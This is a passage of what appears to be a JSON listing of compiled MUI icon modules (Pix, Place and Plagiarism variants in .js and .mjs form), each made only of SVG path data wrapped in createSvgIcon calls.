3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PixTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.45 16.52-3.01-3.01c-.11-.11-.24-.13-.31-.13s-.2.02-.31.13L8.8 16.53c-.34.34-.87.89-2.64.89l3.71 3.7c1.17 1.17 3.07 1.17 4.24 0l3.72-3.71c-.91 0-1.67-.18-2.38-.89M8.8 7.47l3.02 3.02c.08.08.2.13.31.13s.23-.05.31-.13l2.99-2.99c.71-.74 1.52-.91 2.43-.91l-3.72-3.71c-1.17-1.17-3.07-1.17-4.24 0l-3.71 3.7c1.76 0 2.3.58 2.61.89\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.11 9.85-2.25-2.26H17.6c-.54 0-1.08.22-1.45.61l-3 3c-.28.28-.65.42-1.02.42-.36 0-.74-.15-1.02-.42L8.09 8.17c-.38-.38-.9-.6-1.45-.6H5.17l-2.29 2.3c-1.17 1.17-1.17 3.07 0 4.24l2.29 2.3h1.48c.54 0 1.06-.22 1.45-.6l3.02-3.02c.28-.28.65-.42 1.02-.42s.74.14 1.02.42l3.01 3.01c.38.38.9.6 1.45.6h1.26l2.25-2.26c1.17-1.18 1.17-3.1-.02-4.29\"\n}, \"1\")], 'PixTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Place.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Place');"
  },
  {
    "path": "packages/mui-icons-material/lib/Place.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Place');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-1.8C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PlaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m6-1.8C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2\"\n}), 'PlaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'PlaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'PlaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0-10c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2\"\n}), 'PlaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0-10c-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8C20 5.22 16.2 2 12 2\"\n}), 'PlaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2m6 8.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PlaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlaceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18.5 10.2c0 2.57-2.1 5.79-6.16 9.51l-.34.3-.34-.31C7.6 15.99 5.5 12.77 5.5 10.2c0-3.84 2.82-6.7 6.5-6.7s6.5 2.85 6.5 6.7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c4.2 0 8 3.22 8 8.2 0 3.32-2.67 7.25-8 11.8-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2m6 8.2C18 6.57 15.35 4 12 4s-6 2.57-6 6.2c0 2.34 1.95 5.44 6 9.14 4.05-3.7 6-6.8 6-9.14M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PlaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Plagiarism.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm1.04 17.45-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88zM13 9V3.5L18.5 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'Plagiarism');"
  },
  {
    "path": "packages/mui-icons-material/lib/Plagiarism.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm1.04 17.45-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88zM13 9V3.5L18.5 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'Plagiarism');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.03 11.03c-1.37 1.37-1.37 3.58 0 4.95 1.12 1.12 2.8 1.31 4.13.59l1.88 1.88 1.41-1.41-1.88-1.88c.71-1.33.53-3.01-.59-4.13-1.37-1.37-3.59-1.37-4.95 0m3.53 3.53c-.59.59-1.54.59-2.12 0-.59-.59-.59-1.54 0-2.12.59-.59 1.54-.59 2.12 0 .59.59.59 1.53 0 2.12\"\n}, \"1\")], 'PlagiarismOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.03 11.03c-1.37 1.37-1.37 3.58 0 4.95 1.12 1.12 2.8 1.31 4.13.59l1.88 1.88 1.41-1.41-1.88-1.88c.71-1.33.53-3.01-.59-4.13-1.37-1.37-3.59-1.37-4.95 0m3.53 3.53c-.59.59-1.54.59-2.12 0-.59-.59-.59-1.54 0-2.12.59-.59 1.54-.59 2.12 0 .59.59.59 1.53 0 2.12\"\n}, \"1\")], 'PlagiarismOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42m-3.67 11.33c-.39.39-1.02.39-1.41 0l-1.18-1.18c-1.33.71-3.01.53-4.13-.59-1.52-1.52-1.35-4.08.5-5.37 1.16-.81 2.78-.81 3.95 0 1.55 1.08 1.9 3.04 1.09 4.55l1.18 1.18c.39.39.39 1.02 0 1.41M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'PlagiarismRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42m-3.67 11.33c-.39.39-1.02.39-1.41 0l-1.18-1.18c-1.33.71-3.01.53-4.13-.59-1.52-1.52-1.35-4.08.5-5.37 1.16-.81 2.78-.81 3.95 0 1.55 1.08 1.9 3.04 1.09 4.55l1.18 1.18c.39.39.39 1.02 0 1.41M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\")], 'PlagiarismRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm1.04 17.45-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88zM13 9V3.5L18.5 9z\"\n}, \"1\")], 'PlagiarismSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm1.04 17.45-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.58-1.37 4.95 0c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88zM13 9V3.5L18.5 9z\"\n}, \"1\")], 'PlagiarismSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PlagiarismTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm.97 7.03c1.12 1.12 1.31 2.8.59 4.13l1.88 1.88-1.41 1.41-1.88-1.88c-1.33.71-3.01.53-4.13-.59-1.37-1.37-1.37-3.58 0-4.95s3.59-1.37 4.95 0\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"13.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  